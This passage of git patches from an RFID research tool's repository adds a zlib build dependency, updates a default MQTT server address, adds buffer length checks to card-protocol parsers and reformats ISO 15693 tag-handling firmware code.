libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/opensuse-leap/Dockerfile b/docker/opensuse-leap/Dockerfile index 68976c117..eff0d1662 100644 --- a/docker/opensuse-leap/Dockerfile +++ b/docker/opensuse-leap/Dockerfile @@ -2,7 +2,7 @@ FROM opensuse/leap ENV LANG=C.UTF-8 -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc15 gcc15-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel gd-devel +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc15 gcc15-c++ readline-devel libbz2-devel liblz4-devel zlib-devel bluez-devel python3-devel libopenssl-devel gd-devel RUN zypper --non-interactive install ocl-icd-devel diff --git a/docker/opensuse-tumbleweed/Dockerfile b/docker/opensuse-tumbleweed/Dockerfile index 93731d25a..7e2aeffc4 100644 --- a/docker/opensuse-tumbleweed/Dockerfile +++ b/docker/opensuse-tumbleweed/Dockerfile @@ -2,7 +2,7 @@ FROM opensuse/tumbleweed ENV LANG=C.UTF-8 -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc15 cross-arm-none-newlib-devel gd-devel +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel zlib-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc15 cross-arm-none-newlib-devel gd-devel RUN zypper --non-interactive install ocl-icd-devel diff --git a/docker/parrot-core-latest/Dockerfile b/docker/parrot-core-latest/Dockerfile index 3671b94da..ad7797e6a 100644 --- a/docker/parrot-core-latest/Dockerfile +++ b/docker/parrot-core-latest/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-22.04/Dockerfile b/docker/ubuntu-22.04/Dockerfile index 4e9d38671..5a559d518 100644 --- a/docker/ubuntu-22.04/Dockerfile +++ b/docker/ubuntu-22.04/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-24.04/Dockerfile b/docker/ubuntu-24.04/Dockerfile index 7ac58bf7d..650b25f40 100644 --- a/docker/ubuntu-24.04/Dockerfile +++ b/docker/ubuntu-24.04/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-25.04/Dockerfile b/docker/ubuntu-25.04/Dockerfile index 237460a4f..dadd0cdb1 100644 --- a/docker/ubuntu-25.04/Dockerfile +++ b/docker/ubuntu-25.04/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/docker/ubuntu-25.10/Dockerfile b/docker/ubuntu-25.10/Dockerfile index 886db9dc4..13b2b3954 100644 --- a/docker/ubuntu-25.10/Dockerfile +++ b/docker/ubuntu-25.10/Dockerfile @@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ - apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ + apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean RUN apt-get install -y opencl-dev && \ diff --git a/tools/shell.nix b/tools/shell.nix index 120a176c4..3cae43e3f 100644 --- a/tools/shell.nix +++ b/tools/shell.nix @@ -11,6 +11,7 @@ mkShell { jansson gd lz4 + zlib whereami lua bluez5 From 6cf960e7ae30faff9c7144b5b17d82a2c286f9d2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 06:27:25 +0700 Subject: [PATCH 149/162] fix changed domain URL. New URL: mqtt.proxdump.com --- client/src/cmdmqtt.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdmqtt.c b/client/src/cmdmqtt.c index d69e1c931..dfbc41a29 100644 --- a/client/src/cmdmqtt.c +++ b/client/src/cmdmqtt.c @@ -259,7 +259,7 @@ static int CmdMqttSend(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "mqtt send", "This command send MQTT messages. You can send JSON file\n" - "Default server: proxdump.com:1883 topic: proxdump\n", + "Default server: mqtt.proxdump.com:1883 topic: proxdump\n", "mqtt send --msg \"Hello from Pm3\" --> sending msg to default server/port/topic\n" "mqtt send -f myfile.json --> sending file to default server/port/topic\n" "mqtt send --addr test.mosquitto.org -p 1883 --topic pm3 --msg \"custom mqtt server \"\n" @@ -308,7 +308,7 @@ static int CmdMqttSend(const char *Cmd) { if (strlen(g_session.mqtt_server)) { strcpy(addr, g_session.mqtt_server); } else { - strcpy(addr, "proxdump.com"); + strcpy(addr, "mqtt.proxdump.com"); } } From 7c11ff5330d2e7bf342cfc8cf695cfacd9d7130d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 11:13:19 +0700 Subject: [PATCH 150/162] added extra length checks --- armsrc/seos.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/armsrc/seos.c b/armsrc/seos.c index bb6d7a105..27b1932a4 100644 --- a/armsrc/seos.c +++ b/armsrc/seos.c @@ -367,9 +367,16 @@ void SimulateSeos(seos_emulate_req_t *msg) { // Check all requested OIDs and see if we support any uint8_t tlv_offset = 0; - while (tlv_offset < received_tlv_len) { + while (tlv_offset + 2 <= received_tlv_len) { + uint8_t tag = received_tlv[tlv_offset++]; + uint8_t length = received_tlv[tlv_offset++]; + + if (length > received_tlv_len - tlv_offset) { + break; + } + uint8_t *value = &received_tlv[tlv_offset]; if (tag == 0x06) { if (length == msg->oid_len && memcmp(value, msg->oid, length) == 0) { @@ -615,9 +622,15 @@ void SimulateSeos(seos_emulate_req_t *msg) { // Check all requested OIDs and see if we support any uint8_t tlv_offset = 0; - while (tlv_offset < received_tlv_len) { + while (tlv_offset + 2 <= received_tlv_len) { + uint8_t tag = received_tlv[tlv_offset]; + uint8_t length = received_tlv[tlv_offset + 1]; + if (length > received_tlv_len - tlv_offset - 2) { + break; + } + uint8_t *value = &received_tlv[tlv_offset + 2]; if (tag == 0x85) { @@ -628,6 +641,7 @@ void SimulateSeos(seos_emulate_req_t *msg) { recvd_cmac_length = length; recvd_cmac_offset = tlv_offset; } + tlv_offset += 2 + length; } From af0659b7baf5b4f288abbdc24a33a754ff24ab7c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 11:13:48 +0700 Subject: [PATCH 151/162] added extra length checks --- armsrc/felica.c | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/armsrc/felica.c b/armsrc/felica.c index 50346b0fa..e254d7cf8 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -316,6 +316,14 @@ static uint8_t felica_select_card(felica_card_select_t *card) { return 3; } + // 4. frame too short to contain IDm + PMm (need 4 header + 8 + 8 = 20 bytes) + if (FelicaFrame.len < 20) { + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Error: Frame length smaller than 20, got %u", FelicaFrame.len); + } + return 4; + } + // copy UID // idm 8 if (card) { From 8d681fc2aa378877b8898486a12caae32f1cf1fd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 11:36:36 +0700 Subject: [PATCH 152/162] style --- armsrc/iso15693.c | 310 ++++++++++++++++++++++++++++++++-------------- 1 file changed, 218 insertions(+), 92 deletions(-) diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index 855921e52..95e06ca77 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -769,12 +769,14 @@ static int RAMFUNC Handle15693FSKSamplesFromTag(uint8_t freq, DecodeTagFSK_t *De // SOF part 1 finished DecodeTag->state = STATE_FSK_SOF_END_484; DecodeTag->count = 1; - } else if (FREQ_IS_424(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) // still in SOF at 424 + } else if (FREQ_IS_424(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) { // still in SOF at 424 DecodeTag->count++; + } else { // SOF failed, roll back #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("SOF_424 failed: freq=%d, count=%d, recv_speed=%d", freq, DecodeTag->count, recv_speed); + } #endif DecodeTag->state = STATE_FSK_BEFORE_SOF; } @@ -784,12 +786,14 @@ static int RAMFUNC Handle15693FSKSamplesFromTag(uint8_t freq, DecodeTagFSK_t *De if (FREQ_IS_424(freq) && LOGIC_COUNT(DecodeTag->count, recv_speed)) { DecodeTag->state = STATE_FSK_SOF_END_424; DecodeTag->count = 1; - } else if (FREQ_IS_484(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) // still in SOF_END_484 + } else if (FREQ_IS_484(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) { // still in SOF_END_484 DecodeTag->count++; + } else { // SOF failed, roll back #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("SOF_END_484 failed: freq=%d, count=%d, recv_speed=%d", freq, DecodeTag->count, recv_speed); + } #endif DecodeTag->state = STATE_FSK_BEFORE_SOF; } @@ -807,12 +811,14 @@ static int RAMFUNC Handle15693FSKSamplesFromTag(uint8_t freq, DecodeTagFSK_t *De DecodeTag->lastBit = SOF; DecodeTag->state = STATE_FSK_RECEIVING_DATA_424; LED_C_ON(); - } else if (FREQ_IS_424(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) // still in SOF_END_424 + } else if (FREQ_IS_424(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) { // still in SOF_END_424 DecodeTag->count++; + } else { // SOF failed, roll back #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("SOF_END_424 failed: freq=%d, count=%d, recv_speed=%d", freq, DecodeTag->count, recv_speed); + } #endif DecodeTag->state = STATE_FSK_BEFORE_SOF; } @@ -863,23 +869,26 @@ static int RAMFUNC Handle15693FSKSamplesFromTag(uint8_t freq, DecodeTagFSK_t *De DecodeTag->shiftReg = 0; } DecodeTag->count = 2; - } else if (FREQ_IS_424(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) // still at 424 + } else if (FREQ_IS_424(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) { // still at 424 DecodeTag->count++; + } else if (FREQ_IS_484(freq) && DecodeTag->lastBit == LOGIC0_PART2 && SEOF_COUNT(DecodeTag->count, recv_speed)) { // EOF has started #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("RECEIVING_DATA_424->EOF: freq=%d, count=%d, recv_speed=%d, lastbit=%d, state=%d", freq, DecodeTag->count, recv_speed, DecodeTag->lastBit, DecodeTag->state); + } #endif DecodeTag->count = 1; DecodeTag->state = STATE_FSK_EOF; LED_C_OFF(); } else { // error #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("RECEIVING_DATA_424 error: freq=%d, count=%d, recv_speed=%d, lastbit=%d, state=%d", freq, DecodeTag->count, recv_speed, DecodeTag->lastBit, DecodeTag->state); + } #endif DecodeTag->state = STATE_FSK_ERROR; LED_C_OFF(); @@ -929,12 +938,14 @@ static int RAMFUNC Handle15693FSKSamplesFromTag(uint8_t freq, DecodeTagFSK_t *De DecodeTag->shiftReg = 0; } DecodeTag->count = 2; - } else if (FREQ_IS_484(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) // still at 484 + } else if (FREQ_IS_484(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) { // still at 484 DecodeTag->count++; + } else { // error #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("RECEIVING_DATA_484 error: freq=%d, count=%d, recv_speed=%d, lastbit=%d, state=%d", freq, DecodeTag->count, recv_speed, DecodeTag->lastBit, DecodeTag->state); + } #endif LED_C_OFF(); DecodeTag->state = STATE_FSK_ERROR; @@ -945,12 +956,14 @@ static int RAMFUNC Handle15693FSKSamplesFromTag(uint8_t freq, DecodeTagFSK_t *De case STATE_FSK_EOF: if (FREQ_IS_484(freq) && !MAX_COUNT(DecodeTag->count, recv_speed)) { // still at 484 DecodeTag->count++; - if (SEOF_COUNT(DecodeTag->count, recv_speed)) + if (SEOF_COUNT(DecodeTag->count, recv_speed)) { return true; // end of the transmission + } } else { // error #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("EOF error: freq=%d, count=%d, recv_speed=%d", freq, DecodeTag->count, recv_speed); + } #endif DecodeTag->state = STATE_FSK_ERROR; return true; @@ -959,8 +972,9 @@ static int RAMFUNC Handle15693FSKSamplesFromTag(uint8_t freq, DecodeTagFSK_t *De case STATE_FSK_ERROR: LED_C_OFF(); #ifdef DEBUG - if (DEBUG) + if (DEBUG) { Dbprintf("FSK error: freq=%d, count=%d, recv_speed=%d", freq, DecodeTag->count, recv_speed); + } #endif return true; // error break; @@ -1004,7 +1018,9 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo // Setup and start DMA. if (FpgaSetupSscDma((uint8_t *) dma->buf, DMA_BUFFER_SIZE) == false) { - if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting"); + if (g_dbglevel > DBG_ERROR) { + Dbprintf("FpgaSetupSscDma failed. Exiting"); + } return PM3_EINIT; } @@ -1393,7 +1409,9 @@ static int RAMFUNC Handle15693SampleFromReader(bool bit, DecodeReader_t *reader) if (reader->posCount == 1) { reader->sum1 = bit ? 1 : 0; } else if (reader->posCount <= 4) { - if (bit) reader->sum1++; + if (bit) { + reader->sum1++; + } } else if (reader->posCount == 5) { reader->sum2 = bit ? 1 : 0; } else if (bit) { @@ -1500,7 +1518,9 @@ int GetIso15693CommandFromReader(uint8_t *received, size_t max_len, uint32_t *eo // Setup and start DMA. dmabuf8_t *dma = get_dma8(); if (FpgaSetupSscDma(dma->buf, DMA_BUFFER_SIZE) == false) { - if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting"); + if (g_dbglevel > DBG_ERROR) { + Dbprintf("FpgaSetupSscDma failed. Exiting"); + } return -4; } const uint8_t *upTo = dma->buf; @@ -1509,7 +1529,9 @@ int GetIso15693CommandFromReader(uint8_t *received, size_t max_len, uint32_t *eo for (;;) { volatile uint16_t behindBy = ((uint8_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1); - if (behindBy == 0) continue; + if (behindBy == 0) { + continue; + } if (samples == 0) { // DMA has transferred the very first data @@ -1667,7 +1689,9 @@ void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool icla // Setup and start DMA. if (FpgaSetupSscDma((uint8_t *) dma->buf, DMA_BUFFER_SIZE) == false) { - if (g_dbglevel > DBG_ERROR) DbpString("FpgaSetupSscDma failed. Exiting"); + if (g_dbglevel > DBG_ERROR) { + DbpString("FpgaSetupSscDma failed. Exiting"); + } switch_off(); return; } @@ -1687,7 +1711,9 @@ void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool icla for (;;) { volatile int behind_by = ((uint16_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1); - if (behind_by < 1) continue; + if (behind_by < 1) { + continue; + } samples++; if (samples == 1) { @@ -1966,8 +1992,9 @@ static void DbdecodeIso15693Answer(int n, const uint8_t *d) { char status[DBD15STATLEN + 1] = {0}; - if (d[0] & ISO15_RES_EXT) + if (d[0] & ISO15_RES_EXT) { strncat(status, "ProtExt ", DBD15STATLEN - strlen(status)); + } if (d[0] & ISO15_RES_ERROR) { // error @@ -2008,12 +2035,16 @@ static void DbdecodeIso15693Answer(int n, const uint8_t *d) { strncat(status, "No error ", DBD15STATLEN - strlen(status)); } - if (CheckCrc15(d, n)) + if (CheckCrc15(d, n)) { strncat(status, "[+] crc ( " _GREEN_("ok") " )", DBD15STATLEN - strlen(status)); - else + } + else { strncat(status, "[!] crc ( " _RED_("fail") " )", DBD15STATLEN - strlen(status)); + } - if (g_dbglevel >= DBG_ERROR) Dbprintf("%s", status); + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("%s", status); + } } } @@ -2130,7 +2161,9 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { iso15_tag_t *tag = (iso15_tag_t *) BigBuf_get_EM_addr(); if (tag == NULL) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Failed to allocate memory"); + } reply_ng(CMD_HF_ISO15693_SIMULATE, PM3_EFAILED, NULL, 0); return; } @@ -2210,8 +2243,9 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { while (exit_loop == false) { button_pressed = BUTTON_PRESS(); - if (button_pressed || data_available()) + if (button_pressed || data_available()) { break; + } WDT_HIT(); @@ -2235,15 +2269,17 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { break; } - if (cmd_len <= 3) + if (cmd_len <= 3) { continue; + } // Shorten 0 terminated msgs // (Some times received commands are prolonged with a random number of 0 bytes...) while (cmd[cmd_len - 1] == 0) { cmd_len--; - if (cmd_len <= 3) + if (cmd_len <= 3) { break; + } } if (g_dbglevel >= DBG_DEBUG) { @@ -2251,8 +2287,9 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { Dbhexdump(cmd_len, cmd, false); } - if (cmd_len < 3) + if (cmd_len < 3) { continue; + } // Check CRC and drop received cmd with bad CRC uint16_t crc = CalculateCrc15(cmd, cmd_len - 2); @@ -2261,14 +2298,19 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { if (((crc & 0xff) != cmd[cmd_len - 2]) || ((crc >> 8) != cmd[cmd_len - 1])) { crc = CalculateCrc15(cmd, ++cmd_len - 2); // if crc end with 00 00 if (((crc & 0xff) != cmd[cmd_len - 2]) || ((crc >> 8) != cmd[cmd_len - 1])) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("CrcFail!, expected CRC=%02X%02X", crc & 0xff, crc >> 8); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("CrcFail!, expected CRC=%02X%02X", crc & 0xff, crc >> 8); + } continue; - } else if (g_dbglevel >= DBG_DEBUG) + } else if (g_dbglevel >= DBG_DEBUG) { Dbprintf("CrcOK"); - } else if (g_dbglevel >= DBG_DEBUG) + } + } else if (g_dbglevel >= DBG_DEBUG) { Dbprintf("CrcOK"); - } else if (g_dbglevel >= DBG_DEBUG) + } + } else if (g_dbglevel >= DBG_DEBUG) { Dbprintf("CrcOK"); + } cmd_len -= 2; // remove the CRC from the cmd recvLen = 0; @@ -2277,12 +2319,15 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { tag->expectFsk = ((cmd[0] & ISO15_REQ_SUBCARRIER_TWO) == ISO15_REQ_SUBCARRIER_TWO); if (g_dbglevel >= DBG_DEBUG) { - if (tag->expectFsk) + if (tag->expectFsk) { Dbprintf("ISO15_REQ_SUBCARRIER_TWO support is currently experimental!"); - if ((cmd[0] & ISO15_REQ_PROTOCOL_EXT) == ISO15_REQ_PROTOCOL_EXT) + } + if ((cmd[0] & ISO15_REQ_PROTOCOL_EXT) == ISO15_REQ_PROTOCOL_EXT) { Dbprintf("ISO15_REQ_PROTOCOL_EXT not supported!"); - if ((cmd[0] & ISO15_REQ_OPTION) == ISO15_REQ_OPTION) + } + if ((cmd[0] & ISO15_REQ_OPTION) == ISO15_REQ_OPTION) { Dbprintf("ISO15_REQ_OPTION not supported!"); + } } if (((cmd[0] & ISO15_REQ_INVENTORY) == ISO15_REQ_INVENTORY) && tag->state != TAG_STATE_SILENCED) { @@ -2293,22 +2338,26 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { if (g_dbglevel >= DBG_DEBUG) { Dbprintf("Inventory req"); - if ((cmd[0] & ISO15_REQINV_SLOT1) == ISO15_REQINV_SLOT1) + if ((cmd[0] & ISO15_REQINV_SLOT1) == ISO15_REQINV_SLOT1) { Dbprintf("ISO15_REQINV_SLOT1/SLOT16 not supported!"); + } } cmdCpt = 2; // Check AFI if ((cmd[0] & ISO15_REQINV_AFI) == ISO15_REQINV_AFI) { - if (cmd[cmdCpt] != tag->afi && cmd[cmdCpt] != 0) + if (cmd[cmdCpt] != tag->afi && cmd[cmdCpt] != 0) { continue; // bad AFI : drop request + } cmdCpt++; } // Check mask - if (cmdCpt >= cmd_len) + if (cmdCpt >= cmd_len) { continue; // mask is not present : drop request + } + mask_len = cmd[cmdCpt++]; maskCpt = 0; @@ -2321,8 +2370,9 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { mask_len -= 8; } - if (mask_len > 0 && cmdCpt >= cmd_len) + if (mask_len > 0 && cmdCpt >= cmd_len) { continue; // mask is shorter than declared mask lenght: drop request + } while (mask_len > 0) { // Bit comparison mask_len--; @@ -2332,61 +2382,84 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { } } - if (error > 0) + if (error > 0) { continue; + } // No error: Answer recv[0] = ISO15_NOERROR; recv[1] = tag->dsfid; memcpy(&recv[2], tag->uid, 8); recvLen = 10; + } else { + if ((cmd[0] & ISO15_REQ_SELECT) == ISO15_REQ_SELECT) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Selected Request"); - if (tag->state != TAG_STATE_SELECTED) + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Selected Request"); + } + if (tag->state != TAG_STATE_SELECTED) { continue; // drop selected request if not selected + } tag->state = TAG_STATE_READY; // Select flag set if already selected : unselect } cmdCpt = 2; if ((cmd[0] & ISO15_REQ_ADDRESS) == ISO15_REQ_ADDRESS) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Addressed Request"); - if (cmd_len < cmdCpt + 8) + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Addressed Request"); + } + if (cmd_len < cmdCpt + 8) { continue; + } if (memcmp(&cmd[cmdCpt], tag->uid, 8) != 0) { if (cmd_len < cmdCpt + 9 || memcmp(&cmd[cmdCpt + 1], tag->uid, 8) != 0) { // check uid even if manifacturer byte is present - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Address don't match tag uid"); - if (cmd[1] == ISO15693_SELECT) + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Address don't match tag uid"); + } + if (cmd[1] == ISO15693_SELECT) { tag->state = TAG_STATE_READY; // we are not anymore the selected TAG + } continue; // drop addressed request with other uid } cmdCpt++; } - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Address match tag uid"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Address match tag uid"); + } cmdCpt += 8; } else if (tag->state == TAG_STATE_SILENCED) { - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Unaddressed request in quiet state: drop"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Unaddressed request in quiet state: drop"); + } continue; // drop unadressed request in quiet state } switch (cmd[1]) { case ISO15693_INVENTORY: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Inventory cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Inventory cmd"); + } recv[0] = ISO15_NOERROR; recv[1] = tag->dsfid; memcpy(&recv[2], tag->uid, 8); recvLen = 10; break; case ISO15693_STAYQUIET: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("StayQuiet cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("StayQuiet cmd"); + } tag->state = TAG_STATE_SILENCED; break; case ISO15693_READBLOCK: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("ReadBlock cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("ReadBlock cmd"); + } pageNum = cmd[cmdCpt++]; - if (pageNum >= tag->pagesCount) + if (pageNum >= tag->pagesCount) { error = ISO15_ERROR_BLOCK_UNAVAILABLE; + } else { recv[0] = ISO15_NOERROR; recvLen = 1; @@ -2394,30 +2467,39 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { recv[1] = tag->locks[pageNum]; recvLen++; } - for (uint8_t i = 0 ; i < tag->bytesPerPage ; i++) + for (uint8_t i = 0 ; i < tag->bytesPerPage ; i++) { recv[recvLen + i] = tag->data[(pageNum * tag->bytesPerPage) + i]; + } recvLen += tag->bytesPerPage; } break; case ISO15693_WRITEBLOCK: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("WriteBlock cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("WriteBlock cmd"); + } pageNum = cmd[cmdCpt++]; - if (pageNum >= tag->pagesCount) + if (pageNum >= tag->pagesCount) { error = ISO15_ERROR_BLOCK_UNAVAILABLE; + } else { - for (uint8_t i = 0 ; i < tag->bytesPerPage ; i++) + for (uint8_t i = 0 ; i < tag->bytesPerPage ; i++) { tag->data[(pageNum * tag->bytesPerPage) + i] = cmd[i + cmdCpt]; + } recv[0] = ISO15_NOERROR; recvLen = 1; } break; case ISO15693_LOCKBLOCK: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("LockBlock cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("LockBlock cmd"); + } pageNum = cmd[cmdCpt++]; - if (pageNum >= tag->pagesCount) + if (pageNum >= tag->pagesCount) { error = ISO15_ERROR_BLOCK_UNAVAILABLE; - else if (tag->locks[pageNum]) + } + else if (tag->locks[pageNum]) { error = ISO15_ERROR_BLOCK_LOCKED_ALREADY; + } else { tag->locks[pageNum] = 1; recv[0] = ISO15_NOERROR; @@ -2425,28 +2507,36 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { } break; case ISO15693_READ_MULTI_BLOCK: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("ReadMultiBlock cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("ReadMultiBlock cmd"); + } pageNum = cmd[cmdCpt++]; nbPages = cmd[cmdCpt++]; - if (pageNum + nbPages >= tag->pagesCount) + if (pageNum + nbPages >= tag->pagesCount) { error = ISO15_ERROR_BLOCK_UNAVAILABLE; + } else { recv[0] = ISO15_NOERROR; recvLen = 1; for (int i = 0 ; i < (nbPages + 1) * tag->bytesPerPage && \ recvLen + 3 < ISO15693_MAX_RESPONSE_LENGTH ; i++) { - if ((i % tag->bytesPerPage) == 0 && (cmd[0] & ISO15_REQ_OPTION)) + if ((i % tag->bytesPerPage) == 0 && (cmd[0] & ISO15_REQ_OPTION)) { recv[recvLen++] = tag->locks[pageNum + (i / tag->bytesPerPage)]; + } recv[recvLen++] = tag->data[(pageNum * tag->bytesPerPage) + i]; } - if (recvLen + 3 > ISO15693_MAX_RESPONSE_LENGTH) // limit response size + if (recvLen + 3 > ISO15693_MAX_RESPONSE_LENGTH) { // limit response size recvLen = ISO15693_MAX_RESPONSE_LENGTH - 3; // to avoid overflow + } } break; case ISO15693_WRITE_AFI: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("WriteAFI cmd"); - if (tag->afiLock) + if (g_dbglevel >= DBG_DEBUG) { + 